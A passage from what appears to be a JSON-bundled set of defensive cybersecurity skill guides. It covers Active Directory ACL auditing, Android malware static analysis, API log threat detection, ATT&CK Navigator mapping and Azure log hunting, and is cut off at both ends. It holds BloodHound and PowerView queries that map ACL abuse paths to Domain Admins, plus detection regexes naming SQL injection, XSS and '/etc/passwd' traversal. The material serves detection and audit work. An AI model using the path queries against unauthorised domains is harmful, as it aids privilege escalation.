user=\"DOMAIN\\\\user\", password=\"pass\",\n                  authentication=NTLM, auto_bind=True)\n\n# Search with nTSecurityDescriptor\nconn.search(\n    \"DC=corp,DC=example,DC=com\",\n    \"(objectClass=group)\",\n    search_scope=SUBTREE,\n    attributes=[\"distinguishedName\", \"sAMAccountName\",\n                \"objectClass\", \"nTSecurityDescriptor\"],\n)\n```\n\n## SDDL ACE Format\n\n```\nACE String: (ace_type;ace_flags;rights;object_guid;inherit_guid;trustee_sid)\nExample:    (A;;GA;;;S-1-5-21-xxx-512)\n```\n\n| Component | Description |\n|-----------|-------------|\n| `A` | Access Allowed |\n| `D` | Access Denied |\n| `OA` | Object Access Allowed |\n| `GA` | Generic All |\n| `GW` | Generic Write |\n| `WD` | Write DACL |\n| `WO` | Write Owner |\n\n## Dangerous Permission Bitmasks\n\n| Permission | Hex Mask | Risk |\n|-----------|----------|------|\n| GenericAll | `0x10000000` | Full control over object |\n| GenericWrite | `0x40000000` | Modify all writable attributes |\n| WriteDACL | `0x00040000` | Modify object permissions |\n| WriteOwner | `0x00080000` | Take object ownership |\n| WriteProperty | `0x00000020` | Write specific properties |\n| ExtendedRight | `0x00000100` | Extended rights (password reset, etc.) |\n| Self | `0x00000008` | Self-membership modification |\n| Delete | `0x00010000` | Delete the object |\n\n## BloodHound Cypher Queries for ACL Paths\n\n```cypher\n-- Find all users with GenericAll on Domain Admins\nMATCH p=(n:User)-[r:GenericAll]->(g:Group {name:\"DOMAIN ADMINS@CORP.COM\"})\nRETURN p\n\n-- Find WriteDACL paths from non-admins to high-value targets\nMATCH (n:User {admincount:false})\nMATCH p=allShortestPaths((n)-[r:WriteDacl|WriteOwner|GenericAll*1..]->(m:Group))\nWHERE m.highvalue = true\nRETURN p\n\n-- Find GenericWrite on computers for RBCD attacks\nMATCH p=(n:User)-[r:GenericWrite]->(c:Computer)\nWHERE NOT n.admincount\nRETURN n.name, c.name\n\n-- Enumerate all outbound ACL edges for a principal\nMATCH p=(n {name:\"HELPDESK@CORP.COM\"})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(m)\nRETURN type(r), m.name, labels(m)\n\n-- Find shortest ACL abuse path to Domain Admin\nMATCH (n:User {name:\"JSMITH@CORP.COM\"})\nMATCH (da:Group {name:\"DOMAIN ADMINS@CORP.COM\"})\nMATCH p=shortestPath((n)-[r:MemberOf|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns|ForceChangePassword*1..]->(da))\nRETURN p\n```\n\n## PowerView Commands for ACL Enumeration\n\n```powershell\n# Get ACL for Domain Admins group\nGet-DomainObjectAcl -Identity \"Domain Admins\" -ResolveGUIDs\n\n# Find interesting ACEs for non-admin users\nFind-InterestingDomainAcl -ResolveGUIDs | Where-Object {\n    $_.ActiveDirectoryRights -match \"GenericAll|WriteDacl|WriteOwner\"\n}\n\n# Get ACL for specific OU\nGet-DomainObjectAcl -SearchBase \"OU=Servers,DC=corp,DC=com\" -ResolveGUIDs\n```\n","skills/analyzing-android-malware-with-apktool/SKILL.md":"---\nname: analyzing-android-malware-with-apktool\ndescription: Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- Android\n- APK\n- apktool\n- jadx\n- androguard\n- mobile-malware\n- static-analysis\n- reverse-engineering\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1406\n- T1407\n- T1626.001\n- T1655.001\n- T1521.001\n---\n\n# Analyzing Android Malware with Apktool\n\n## Overview\n\nAndroid malware distributed as APK files can be statically analyzed to extract permissions, activities, services, broadcast receivers, and suspicious API calls without executing the sample. This skill uses androguard for programmatic APK analysis, identifying dangerous permission combinations, obfuscated code patterns, dynamic code loading, reflection-based API calls, and network communication indicators.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing android malware with apktool\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `androguard`\n- apktool (for resource decompilation)\n- jadx (for Java source recovery, optional)\n- Isolated analysis environment (VM or sandbox)\n- Sample APK files for analysis\n\n## Steps\n\n1. Parse APK with androguard to extract manifest metadata\n2. Enumerate requested permissions and flag dangerous combinations\n3. List activities, services, receivers, and providers from manifest\n4. Scan for suspicious API calls (reflection, crypto, SMS, telephony)\n5. Detect dynamic code loading patterns (DexClassLoader, Runtime.exec)\n6. Extract hardcoded URLs, IPs, and C2 indicators from strings\n7. Generate risk assessment report with MITRE ATT&CK mobile mappings\n\n## Expected Output\n\n- JSON report with permission analysis, component listing, suspicious API calls, network indicators, and risk score\n- Extracted strings and potential IOCs from the APK\n","skills/analyzing-android-malware-with-apktool/references/api-reference.md":"# API Reference — Analyzing Android Malware with Apktool\n\n## Libraries Used\n- **androguard**: Python APK/DEX analysis — `AnalyzeAPK()`, permission enumeration, API call scanning\n- **re**: Regex extraction of URLs, IPs, base64 patterns from DEX strings\n- **json**: JSON serialization for analysis reports\n\n## CLI Interface\n```\npython agent.py sample.apk permissions\npython agent.py sample.apk manifest\npython agent.py sample.apk apis\npython agent.py sample.apk strings\npython agent.py sample.apk full\npython agent.py sample.apk           # defaults to full analysis\n```\n\n## Core Functions\n\n### `analyze_permissions(apk)` — Permission risk assessment\nCalls `apk.get_permissions()`. Flags 20 dangerous permissions including\nSEND_SMS, READ_CONTACTS, BIND_DEVICE_ADMIN, BIND_ACCESSIBILITY_SERVICE.\nRisk: CRITICAL >= 8 dangerous, HIGH >= 5, MEDIUM >= 2, LOW < 2.\n\n### `analyze_manifest(apk)` — Manifest component extraction\nCalls `apk.get_activities()`, `get_services()`, `get_receivers()`, `get_providers()`.\nReturns package name, version, SDK levels, and all component lists.\n\n### `scan_suspicious_apis(dx)` — Suspicious API call detection\nSearches DEX analysis for 14 patterns including:\n- `Runtime.exec`, `ProcessBuilder.start` — command execution\n- `DexClassLoader.loadClass` — dynamic code loading\n- `Method.invoke`, `Class.forName` — reflection\n- `Cipher.getInstance` — cryptographic operations\n- `SmsManager.sendTextMessage` — SMS abuse\n\n### `extract_strings(dx, apk)` — IOC extraction from DEX strings\nRegex extraction of HTTP/HTTPS URLs, external IP addresses, and base64 strings.\nFilters out private IP ranges (10.x, 192.168.x, 172.16.x, 127.x).\n\n### `detect_obfuscation(apk, dx)` — Obfuscation indicator detection\nChecks for single-letter class names (ProGuard), multi-DEX, native libraries.\n\n### `full_analysis(apk_path)` — Comprehensive malware assessment\n\n## Androguard API\n| Method | Returns |\n|--------|---------|\n| `AnalyzeAPK(path)` | `(APK, list[DEX], Analysis)` tuple |\n| `apk.get_permissions()` | List of Android permissions |\n| `apk.get_activities()` | Activity component names |\n| `apk.get_services()` | Service component names |\n| `apk.get_receivers()` | BroadcastReceiver names |\n| `apk.get_package()` | Package name string |\n| `dx.find_methods(classname, methodname)` | Matching method analysis objects |\n| `dx.get_strings()` | All strings from DEX files |\n| `dx.get_classes()` | All class analysis objects |\n\n## Risk Scoring\n| Factor | Max Points |\n|--------|-----------|\n| Dangerous permissions (8 pts each) | 40 |\n| Suspicious API calls (10 pts each) | 30 |\n| External IPs (5 pts each) | 15 |\n| Obfuscation detected | 15 |\n\n## Dependencies\n- `androguard` >= 3.4.0\n- Isolated analysis environment recommended\n","skills/analyzing-api-gateway-access-logs/SKILL.md":"---\nname: analyzing-api-gateway-access-logs\ndescription: 'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect\n  BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts.\n  Uses pandas for statistical analysis of request patterns and anomaly detection.\n  Use when investigating API abuse or building API-specific threat detection rules.\n\n  '\ndomain: cybersecurity\nsubdomain: security-operations\ntags:\n- api-security\n- access-log-analysis\n- aws-api-gateway\n- kong\n- nginx\n- bola-detection\n- rate-limit-bypass\n- security-operations\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\n- RS.MA-01\n- GV.OV-01\n- DE.AE-02\nmitre_attack:\n- T1190\n- T1110.004\n- T1078.004\n- T1119\n---\n\n# Analyzing API Gateway Access Logs\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing api gateway access logs\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with security operations concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\nParse API gateway access logs to identify attack patterns including broken object\nlevel authorization (BOLA), excessive data exposure, and injection attempts.\n\n```python\nimport pandas as pd\n\ndf = pd.read_json(\"api_gateway_logs.json\", lines=True)\n# Detect BOLA: same user accessing many different resource IDs\nbola = df.groupby([\"user_id\", \"endpoint\"]).agg(\n    unique_ids=(\"resource_id\", \"nunique\")).reset_index()\nsuspicious = bola[bola[\"unique_ids\"] > 50]\n```\n\nKey detection patterns:\n1. BOLA/IDOR: sequential resource ID enumeration\n2. Rate limit bypass via header manipulation\n3. Credential scanning (401 surges from single source)\n4. SQL/NoSQL injection in query parameters\n5. Unusual HTTP methods (DELETE, PATCH) on read-only endpoints\n\n## Examples\n\n```python\n# Detect 401 surges indicating credential scanning\nauth_failures = df[df[\"status_code\"] == 401]\nscanner_ips = auth_failures.groupby(\"source_ip\").size()\nscanners = scanner_ips[scanner_ips > 100]\n```\n","skills/analyzing-api-gateway-access-logs/references/api-reference.md":"# API Reference: Analyzing API Gateway Access Logs\n\n## AWS API Gateway Log Fields\n\n```json\n{\n  \"requestId\": \"abc-123\",\n  \"ip\": \"203.0.113.50\",\n  \"httpMethod\": \"GET\",\n  \"resourcePath\": \"/api/users/{id}\",\n  \"status\": 200,\n  \"requestTime\": \"2025-03-15T14:00:00Z\",\n  \"responseLength\": 1024\n}\n```\n\n## Pandas Log Analysis\n\n```python\nimport pandas as pd\n\ndf = pd.read_json(\"access_logs.json\", lines=True)\n\n# BOLA detection\ndf.groupby(\"user_id\")[\"resource_id\"].nunique()\n\n# Auth failure surge\ndf[df[\"status_code\"] == 401].groupby(\"source_ip\").size()\n\n# Request velocity\ndf.set_index(\"timestamp\").resample(\"1min\").size()\n```\n\n## OWASP API Top 10 Patterns\n\n| Risk | Detection Pattern |\n|------|-------------------|\n| BOLA (API1) | User accessing > 50 unique resource IDs |\n| Broken Auth (API2) | > 100 401/403 from single IP |\n| Excessive Data (API3) | Response size > 10x average |\n| Rate Limit (API4) | > 100 req/min from single IP |\n| BFLA (API5) | DELETE/PUT on read-only endpoints |\n| Injection (API8) | SQL/NoSQL patterns in params |\n\n## Injection Regex Patterns\n\n```python\nsql = r\"union\\s+select|drop\\s+table|'\\s*or\\s+'1'\"\nnosql = r\"\\$ne|\\$gt|\\$regex|\\$where\"\nxss = r\"<script|javascript:|onerror=\"\npath_traversal = r\"\\.\\./\\.\\./|/etc/passwd\"\n```\n\n### References\n\n- OWASP API Security Top 10: https://owasp.org/API-Security/\n- AWS API Gateway logging: https://docs.aws.amazon.com/apigateway/latest/developerguide/\n- pandas: https://pandas.pydata.org/docs/\n","skills/analyzing-apt-group-with-mitre-navigator/SKILL.md":"---\nname: analyzing-apt-group-with-mitre-navigator\ndescription: Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- mitre-attack\n- navigator\n- apt\n- threat-actor\n- ttp-analysis\n- heatmap\n- detection-gap\n- threat-intelligence\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1059.001\n- T1071.001\n- T1003.001\n- T1486\n- T1547.001\n---\n# Analyzing APT Group with MITRE ATT&CK Navigator\n\n## Overview\n\nMITRE ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices, enabling analysts to visualize threat actor technique coverage, compare multiple APT groups, identify detection gaps, and build threat-informed defense strategies. This skill covers querying ATT&CK data programmatically, mapping APT group TTPs to Navigator layers, creating multi-layer overlays for gap analysis, and generating actionable intelligence reports for detection engineering teams.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing apt group with mitre navigator\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `attackcti`, `mitreattack-python`, `stix2`, `requests` libraries\n- ATT&CK Navigator (https://mitre-attack.github.io/attack-navigator/) or local deployment\n- Understanding of ATT&CK Enterprise matrix: 14 Tactics, 200+ Techniques, Sub-techniques\n- Access to threat intelligence reports or MISP/OpenCTI for threat actor data\n- Familiarity with STIX 2.1 Intrusion Set and Attack Pattern objects\n\n## Key Concepts\n\n### ATT&CK Navigator Layers\n\nNavigator layers are JSON files that annotate ATT&CK techniques with scores, colors, comments, and metadata. Each layer can represent a single APT group's technique usage, a detection capability map, or a combined overlay. Layer version 4.5 supports enterprise-attack, mobile-attack, and ics-attack domains with filtering by platform (Windows, Linux, macOS, Cloud, Azure AD, Office 365, SaaS).\n\n### APT Group Profiles in ATT&CK\n\nATT&CK catalogs over 140 threat groups with documented technique usage. Each group profile includes aliases, targeted sectors, associated campaigns, software used, and technique mappings with procedure-level detail. Groups are identified by G-codes (e.g., G0016 for APT29, G0007 for APT28, G0032 for Lazarus Group).\n\n### Multi-Layer Analysis\n\nThe Navigator supports loading multiple layers simultaneously, allowing analysts to overlay threat actor TTPs against detection coverage to identify gaps, compare multiple APT groups to find common techniques worth prioritizing, and track technique coverage changes over time.\n\n## Workflow\n\n### Step 1: Query ATT&CK Data for APT Group\n\n```python\nfrom attackcti import attack_client\nimport json\n\nlift = attack_client()\n\n# Get all threat groups\ngroups = lift.get_groups()\nprint(f\"Total ATT&CK groups: {len(groups)}\")\n\n# Find APT29 (Cozy Bear / Midnight Blizzard)\napt29 = next((g for g in groups if g.get('name') == 'APT29'), None)\nif apt29:\n    print(f\"Group: {apt29['name']}\")\n    print(f\"Aliases: {apt29.get('aliases', [])}\")\n    print(f\"Description: {apt29.get('description', '')[:300]}\")\n\n# Get techniques used by APT29 (G0016)\ntechniques = lift.get_techniques_used_by_group(\"G0016\")\nprint(f\"APT29 uses {len(techniques)} techniques\")\n\ntechnique_map = {}\nfor tech in techniques:\n    tech_id = \"\"\n    for ref in tech.get(\"external_references\", []):\n        if ref.get(\"source_name\") == \"mitre-attack\":\n            tech_id = ref.get(\"external_id\", \"\")\n            break\n    if tech_id:\n        tactics = [p.get(\"phase_name\", \"\") for p in tech.get(\"kill_chain_phases\", [])]\n        technique_map[tech_id] = {\n            \"name\": tech.get(\"name\", \"\"),\n            \"tactics\": tactics,\n            \"description\": tech.get(\"description\", \"\")[:500],\n            \"platforms\": tech.get(\"x_mitre_platforms\", []),\n            \"data_sources\": tech.get(\"x_mitre_data_sources\", []),\n        }\n```\n\n### Step 2: Generate Navigator Layer JSON\n\n```python\ndef create_navigator_layer(group_name, technique_map, color=\"#ff6666\"):\n    techniques_list = []\n    for tech_id, info in technique_map.items():\n        for tactic in info[\"tactics\"]:\n            techniques_list.append({\n                \"techniqueID\": tech_id,\n                \"tactic\": tactic,\n                \"color\": color,\n                \"comment\": info[\"name\"],\n                \"enabled\": True,\n                \"score\": 100,\n                \"metadata\": [\n                    {\"name\": \"group\", \"value\": group_name},\n                    {\"name\": \"platforms\", \"value\": \", \".join(info[\"platforms\"])},\n                ],\n            })\n\n    layer = {\n        \"name\": f\"{group_name} TTP Coverage\",\n        \"versions\": {\"attack\": \"16.1\", \"navigator\": \"5.1.0\", \"layer\": \"4.5\"},\n        \"domain\": \"enterprise-attack\",\n        \"description\": f\"Techniques attributed to {group_name}\",\n        \"filters\": {\n            \"platforms\": [\"Linux\", \"macOS\", \"Windows\", \"Cloud\",\n                          \"Azure AD\", \"Office 365\", \"SaaS\", \"Google Workspace\"]\n        },\n        \"sorting\": 0,\n        \"layout\": {\n            \"layout\": \"side\", \"aggregateFunction\": \"average\",\n            \"showID\": True, \"showName\": True,\n            \"showAggregateScores\": False, \"countUnscored\": False,\n        },\n        \"hideDisabled\": False,\n        \"techniques\": techniques_list,\n        \"gradient\": {\"colors\": [\"#ffffff\", color], \"minValue\": 0, \"maxValue\": 100},\n        \"legendItems\": [\n            {\"label\": f\"Used by {group_name}\", \"color\": color},\n            {\"label\": \"Not observed\", \"color\": \"#ffffff\"},\n        ],\n        \"showTacticRowBackground\": True,\n        \"tacticRowBackground\": \"#dddddd\",\n        \"selectTechniquesAcrossTactics\": True,\n        \"selectSubtechniquesWithParent\": False,\n        \"selectVisibleTechniques\": False,\n    }\n    return layer\n\nlayer = create_navigator_layer(\"APT29\", technique_map)\nwith open(\"apt29_layer.json\", \"w\") as f:\n    json.dump(layer, f, indent=2)\nprint(\"[+] Layer saved: apt29_layer.json\")\n```\n\n### Step 3: Compare Multiple APT Groups\n\n```python\ngroups_to_compare = {\"G0016\": \"APT29\", \"G0007\": \"APT28\", \"G0032\": \"Lazarus Group\"}\ngroup_techniques = {}\n\nfor gid, gname in groups_to_compare.items():\n    techs = lift.get_techniques_used_by_group(gid)\n    tech_ids = set()\n    for t in techs:\n        for ref in t.get(\"external_references\", []):\n            if ref.get(\"source_name\") == \"mitre-attack\":\n                tech_ids.add(ref.get(\"external_id\", \"\"))\n    group_techniques[gname] = tech_ids\n\ncommon_to_all = set.intersection(*group_techniques.values())\nprint(f\"Techniques common to all groups: {len(common_to_all)}\")\nfor tid in sorted(common_to_all):\n    print(f\"  {tid}\")\n\nfor gname, techs in group_techniques.items():\n    others = set.union(*[t for n, t in group_techniques.items() if n != gname])\n    unique = techs - others\n    print(f\"\\nUnique to {gname}: {len(unique)} techniques\")\n```\n\n### Step 4: Detection Gap Analysis with Layer Overlay\n\n```python\n# Define your current detection capabilities\ndetected_techniques = {\n    \"T1059\", \"T1059.001\", \"T1071\", \"T1071.001\", \"T1566\", \"T1566.001\",\n    \"T1547\", \"T1547.001\", \"T1053\", \"T1053.005\", \"T1078\", \"T1027\",\n}\n\nactor_techniques = set(technique_map.keys())\ncovered = actor_techniques.intersection(detected_techniques)\ngaps = actor_techniques - detected_techniques\n\nprint(f\"=== Detection Gap Analysis for APT29 ===\")\nprint(f\"Actor techniques: {len(actor_techniques)}\")\nprint(f\"Detected: {len(covered)} ({len(covered)/len(actor_techniques)*100:.0f}%)\")\nprint(f\"Gaps: {len(gaps)} ({len(gaps)/len(actor_techniques)*100:.0f}%)\")\n\n# Create gap layer (red = undetected, green = detected)\ngap_techniques = []\nfor tech_id in actor_techniques:\n    info = technique_map.get(tech_id, {})\n    for tactic in info.get(\"tactics\", [\"\"]):\n        color = \"#66ff66\" if tech_id in detected_techniques else \"#ff3333\"\n        gap_techniques.append({\n            \"techniqueID\": tech_id,\n            \"tactic\": tactic,\n            \"color\": color,\n            \"comment\": f\"{'DETECTED' if tech_id in detected_techniques else 'GAP'}: {info.get('name', '')}\",\n            \"enabled\": True,\n            \"score\": 100 if tech_id in detected_techniques else 0,\n        })\n\ngap_layer = {\n    \"name\": \"APT29 Detection Gap Analysis\",\n    \"versions\": {\"attack\": \"16.1\", \"navigator\": \"5.1.0\", \"layer\": \"4.5\"},\n    \"domain\": \"enterprise-attack\",\n    \"description\": \"Green = detected, Red = gap\",\n    \"techniques\": gap_techniques,\n    \"gradient\": {\"colors\": [\"#ff3333\", \"#66ff66\"], \"minValue\": 0, \"maxValue\": 100},\n    \"legendItems\": [\n        {\"label\": \"Detected\", \"color\": \"#66ff66\"},\n        {\"label\": \"Detection Gap\", \"color\": \"#ff3333\"},\n    ],\n}\nwith open(\"apt29_gap_layer.json\", \"w\") as f:\n    json.dump(gap_layer, f, indent=2)\n```\n\n### Step 5: Tactic Breakdown Analysis\n\n```python\nfrom collections import defaultdict\n\ntactic_breakdown = defaultdict(list)\nfor tech_id, info in technique_map.items():\n    for tactic in info[\"tactics\"]:\n        tactic_breakdown[tactic].append({\"id\": tech_id, \"name\": info[\"name\"]})\n\ntactic_order = [\n    \"reconnaissance\", \"resource-development\", \"initial-access\",\n    \"execution\", \"persistence\", \"privilege-escalation\",\n    \"defense-evasion\", \"credential-access\", \"discovery\",\n    \"lateral-movement\", \"collection\", \"command-and-control\",\n    \"exfiltration\", \"impact\",\n]\n\nprint(\"\\n=== APT29 Tactic Breakdown ===\")\nfor tactic in tactic_order:\n    techs = tactic_breakdown.get(tactic, [])\n    if techs:\n        print(f\"\\n{tactic.upper()} ({len(techs)} techniques):\")\n        for t in techs:\n            print(f\"  {t['id']}: {t['name']}\")\n```\n\n## Validation Criteria\n\n- ATT&CK data queried successfully via TAXII server\n- APT group mapped to all documented techniques with procedure examples\n- Navigator layer JSON validates and renders correctly in ATT&CK Navigator\n- Multi-layer overlay shows threat actor vs. detection coverage\n- Detection gap analysis identifies unmonitored techniques with data source recommendations\n- Cross-group comparison reveals shared and unique TTPs\n- Output is actionable for detection engineering prioritization\n\n## References\n\n- [MITRE ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/)\n- [ATT&CK Groups](https://attack.mitre.org/groups/)\n- [attackcti Python Library](https://github.com/OTRF/ATTACK-Python-Client)\n- [Navigator Layer Format v4.5](https://github.com/mitre-attack/attack-navigator/blob/master/layers/LAYERFORMATv4_5.md)\n- [CISA Best Practices for MITRE ATT&CK Mapping](https://www.cisa.gov/sites/default/files/2023-01/Best%20Practices%20for%20MITRE%20ATTCK%20Mapping.pdf)\n- [Picus: Leverage MITRE ATT&CK for Threat Intelligence](https://www.picussecurity.com/how-to-leverage-the-mitre-attack-framework-for-threat-intelligence)\n","skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md":"# API Reference: MITRE ATT&CK Navigator APT Analysis\n\n## ATT&CK Navigator Layer Format\n\n### Layer JSON Structure\n```json\n{\n  \"name\": \"APT29 - TTPs\",\n  \"versions\": {\"attack\": \"14\", \"navigator\": \"4.9.1\", \"layer\": \"4.5\"},\n  \"domain\": \"enterprise-attack\",\n  \"techniques\": [\n    {\n      \"techniqueID\": \"T1566.001\",\n      \"tactic\": \"initial-access\",\n      \"color\": \"#ff6666\",\n      \"score\": 100,\n      \"comment\": \"Used by APT29\",\n      \"enabled\": true\n    }\n  ],\n  \"gradient\": {\"colors\": [\"#ffffff\", \"#ff6666\"], \"minValue\": 0, \"maxValue\": 100}\n}\n```\n\n## ATT&CK STIX Data Access\n\n### Download Enterprise ATT&CK Bundle\n```bash\ncurl -o enterprise-attack.json \\\n  https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json\n```\n\n### STIX Object Types\n| Type | Description |\n|------|-------------|\n| `intrusion-set` | APT groups / threat actors |\n| `attack-pattern` | Techniques and sub-techniques |\n| `relationship` | Links groups to techniques (`uses`) |\n| `malware` | Malware families |\n| `tool` | Legitimate tools used by adversaries |\n\n## mitreattack-python Library\n\n### Installation\n```bash\npip install mitreattack-python\n```\n\n### Query Group Techniques\n```python\nfrom mitreattack.stix20 import MitreAttackData\n\nattack = MitreAttackData(\"enterprise-attack.json\")\ngroups = attack.get_groups()\nfor g in groups:\n    techs = attack.get_techniques_used_by_group(g)\n    print(f\"{g.name}: {len(techs)} techniques\")\n```\n\n### Get Technique Details\n```python\ntechnique = attack.get_object_by_attack_id(\"T1566.001\", \"attack-pattern\")\nprint(technique.name)          # Spearphishing Attachment\nprint(technique.x_mitre_platforms)  # ['Windows', 'macOS', 'Linux']\n```\n\n## Navigator CLI (attack-navigator)\n\n### Export Layer to SVG\n```bash\nnpx attack-navigator-export \\\n  --layer layer.json \\\n  --output output.svg \\\n  --theme dark\n```\n\n## ATT&CK API (TAXII)\n```python\nfrom stix2 import TAXIICollectionSource, Filter\nfrom taxii2client.v20 import Collection\n\ncollection = Collection(\n    \"https://cti-taxii.mitre.org/stix/collections/95ecc380-afe9-11e4-9b6c-751b66dd541e/\"\n)\ntc_source = TAXIICollectionSource(collection)\ngroups = tc_source.query([Filter(\"type\", \"=\", \"intrusion-set\")])\n```\n\n## Key APT Groups Reference\n| ID | Name | Known Aliases |\n|----|------|--------------|\n| G0016 | APT29 | Cozy Bear, The Dukes, NOBELIUM |\n| G0007 | APT28 | Fancy Bear, Sofacy, Strontium |\n| G0022 | APT3 | Gothic Panda, UPS |\n| G0032 | Lazarus Group | HIDDEN COBRA, Zinc |\n| G0074 | Dragonfly 2.0 | Energetic Bear, Berserk Bear |\n| G0010 | Turla | Waterbug, Venomous Bear |\n","skills/analyzing-azure-activity-logs-for-threats/SKILL.md":"---\nname: analyzing-azure-activity-logs-for-threats\ndescription: 'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query\n  to detect suspicious administrative operations, impossible travel, privilege escalation,\n  and resource modifications. Builds KQL queries for threat hunting in Azure environments.\n  Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.\n\n  '\ndomain: cybersecurity\nsubdomain: security-operations\ntags:\n- azure\n- cloud-security\n- azure-monitor\n- kql\n- threat-hunting\n- activity-logs\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\n- RS.MA-01\n- GV.OV-01\n- DE.AE-02\nmitre_attack:\n- T1078.004\n- T1098.003\n- T1538\n- T1556.009\n- T1580\n---\n\n# Analyzing Azure Activity Logs for Threats\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing azure activity logs for threats\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with security operations concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\nUse azure-monitor-query to execute KQL queries against Azure Log Analytics workspaces,\ndetecting suspicious admin operations and sign-in anomalies.\n\n```python\nfrom azure.identity import DefaultAzureCredential\nfrom azure.monitor.query import LogsQueryClient\nfrom datetime import timedelta\n\ncredential = DefaultAzureCredential()\nclient = LogsQueryClient(credential)\n\nresponse = client.query_workspace(\n    workspace_id=\"WORKSPACE_ID\",\n    query=\"AzureActivity | where OperationNameValue has 'MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE' | take 10\",\n    timespan=timedelta(hours=24),\n)\n```\n\nKey detection queries:\n1. Role assignment changes (privilege escalation)\n2. Resource group and subscription modifications\n3. Key vault secret access from new IPs\n4. Network security group rule changes\n5. Conditional access policy modifications\n\n## Examples\n\n```python\n# Detect new Global Admin role assignments\nquery = '''\nAuditLogs\n| where OperationName == \"Add member to role\"\n| where TargetResources[0].modifiedProperties[0].newValue has \"Global Administrator\"\n'''\n```\n","skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md":"# API Reference: Analyzing Azure Activity Logs for Threats\n\n## azure-monitor-query\n\n```python\nfrom azure.identity import DefaultAzureCredential\nfrom azure.monitor.query import LogsQueryClient, LogsQueryStatus\nfrom datetime import timedelta\n\ncredential = DefaultAzureCredential()\nclient = LogsQueryClient(credential)\n\nresponse = client.query_workspace(\n    workspace_id=\"WORKSPACE_ID\",\n    query=\"AzureActivity | take 10\",\n    timespan=timedelta(hours=24),\n)\nif response.status == LogsQueryStatus.SUCCESS:\n    for table in response.tables:\n        columns = [col.name for col in table.columns]\n        for row in table.rows:\n            print(dict(zip(columns, row)))\n```\n\n## Key Azure Log Tables\n\n| Table | Content |\n|-------|---------|\n| `AzureActivity` | Control plane operations (ARM) |\n| `SigninLogs` | Azure AD sign-in events |\n| `AuditLogs` | Azure AD audit trail |\n| `AzureDiagnostics` | Resource diagnostics (Key Vault, NSG) |\n| `SecurityAlert` | Defender for Cloud alerts |\n\n## Threat Detection KQL Patterns\n\n```kql\n// Privilege escalation\nAzureActivity | where OperationNameValue has \"ROLEASSIGNMENTS/WRITE\"\n\n// Impossible travel\nSigninLogs | where ResultType == 0\n| extend Distance = geo_distance_2points(...)\n\n// Mass deletion\nAzureActivity | where OperationNameValue endswith \"/DELETE\"\n| summarize count() by Caller, bin(TimeGenerated, 1h)\n```\n\n### References\n\n- azure-monitor-query: https://pypi.org/project/azure-monitor-query/\n- KQL reference: https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/\n- Azure Activity Log schema: https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/activity-log-schema\n","skills/analyzing-bootkit-and-rootkit-samples/SKILL.md":"---\nname: analyzing-bootkit-and-rootkit-samples\ndescription: 'Analyzes bootkit and advanced rootkit malware infecting the Master\n  Boot Record (MBR), Volume Boot Record (VBR), or UEFI firmware for below-OS persistence,\n  covering boot sector analysis, UEFI module inspection, and anti-rootkit detection.\n  Use when compromise survives OS reinstallation or antivirus/EDR fails to detect\n  malware despite clear infection signs.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- bootkit\n- rootkit\n- UEFI\n- MBR-analysis\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- 